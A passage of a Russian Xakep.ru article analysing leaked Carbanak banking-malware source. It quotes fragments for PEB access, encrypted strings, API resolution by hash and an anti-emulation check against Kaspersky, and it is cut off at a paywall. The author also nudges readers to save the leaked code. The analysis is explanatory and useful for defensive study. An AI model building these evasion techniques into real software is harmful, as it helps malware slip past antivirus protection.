Хакер уже писал об утечке в публичный доступ исходных кодов банковской малвари Carbanak. Надо сказать, что эта малварь сейчас все еще активна и развивается, несмотря на аресты, а украденные суммы давно перевалили за миллиард долларов. Все любопытствующие могут ознакомиться с исходным кодом этого творения на GitHub. Лично я рекомендую сохранить этот код (для академических исследований, естественно), а то всякое может случиться. Итак, давай заглянем внутрь Carbanak.
Первое, что меня обычно привлекает в профессионально написанной малвари, — это способы, с помощью которых эта самая малварь противодействует антивирусам и скрывает свою активность. В Carbanak используется несколько приемов борьбы с антивирусными программами. Их мы сейчас и рассмотрим.
Для начала мне стало интересно, как Carbanak общается с WinAPI и каким образом вызывает нужные ему функции. Чтобы увидеть этот механизм, необходимо заглянуть в следующие файлы:
core\source\winapi.cpp
core\include\core\winapi.h
core\include\core\api_funcs_type.h
core\include\core\api_funcs_hash.h
Бросается в глаза код получения структуры процессов PEB, настроенный на условную компиляцию в зависимости от архитектуры системы:
PPEB GetPEB()
{
#ifdef _WIN64
return (PPEB)__readgsqword(0x60);
#else
PPEB PEB;
__asm
{
mov eax, FS:[0x30]
mov [PEB], eax
}
return PEB;
#endif
}
Там же представлен список нужных DLL, где хранятся WinAPI (это только часть используемых трояном библиотек):
const char* namesDll[] =
{
_CT_("kernel32.dll"), // KERNEL32 = 0
_CT_("user32.dll"), // USER32 = 1
_CT_("ntdll.dll"), // NTDLL = 2
_CT_("shlwapi.dll"), // SHLWAPI = 3
_CT_("iphlpapi.dll"), // IPHLPAPI = 4
_CT_("urlmon.dll"), // URLMON = 5
.....
Обрати внимание на макросы _CT_
— они шифруют строки. Ты ведь не думал, что в малвари подобного уровня текстовые строки будут храниться в открытом виде? Кроме того, в блоке инициализации этого модуля мы видим код, динамически получающий функции GetProcAddress
и LoadLibraryA
по их хешу:
HMODULE kernel32;
if ( (kernel32 = GetDllBase(hashKernel32)) == NULL )
return false;
_GetProcAddress = (typeGetProcAddress)GetApiAddr( kernel32, hashGetProcAddress );
_LoadLibraryA = (typeLoadLibraryA)GetApiAddr( kernel32, hashLoadLibraryA );
if ( (_GetProcAddress == NULL) || (_LoadLibraryA == NULL) )
Далее троян выполняет поиск и сравнение с таблицей хешей искомых функций. Вот, например, часть кода, с помощью которой Carbanak определяет, найдена нужная функция или нет:
for( uint i = 0; i < exportDir->NumberOfNames; i++)
{
char* name = (char*)RVATOVA( module, *namesTable );
if( Str::Hash(name) == hashFunc )
{
ordinal = *ordinalTable;
break;
}
// Следующая функция
namesTable++;
ordinalTable++;
}
На самом деле перед нами классический движок для поиска WinAPI по их хешу, о котором мы уже говорили в отдельной статье.
Кроме всего прочего, меня привлек кусок кода, в комментариях к которому было написано «антиэмуляционная защита от КАВа». Такой код встречается в нескольких местах этого проекта:
// Антиэмуляционная защита от КАВа
char path2[MAX_PATH]; // Символьный массив
API(KERNEL32, GetTempPathA)( MAX_PATH, path2 ); // Получаем в него путь до папки временных файлов
API(KERNEL32, CreateFileA)( path2, GENERIC_READ | GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 ); // OPEN_EXISTING — открыть файл
if( API(KERNEL32, GetLastError)() == 3 ) // ERROR_PATH_NOT_FOUND
Суть этого приема заключается в том, что эмуляторы антивирусных решений не всегда могут корректно воспроизвести поведение окружения, в котором выполняется приложение. В данном случае троян сначала вызывает функцию GetTempPathA
, позволяющую получить путь до папки временных файлов (temp), а затем пытается запустить несуществующий файл из нее. Если после этих действий ОС вернет ошибку ERROR_PATH_NOT_FOUND
(обычная ошибка при выполнении приложения в реальной системе), малварь приходит к выводу, что исполнение кода не эмулируется средствами антивируса, и управление передается дальше.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»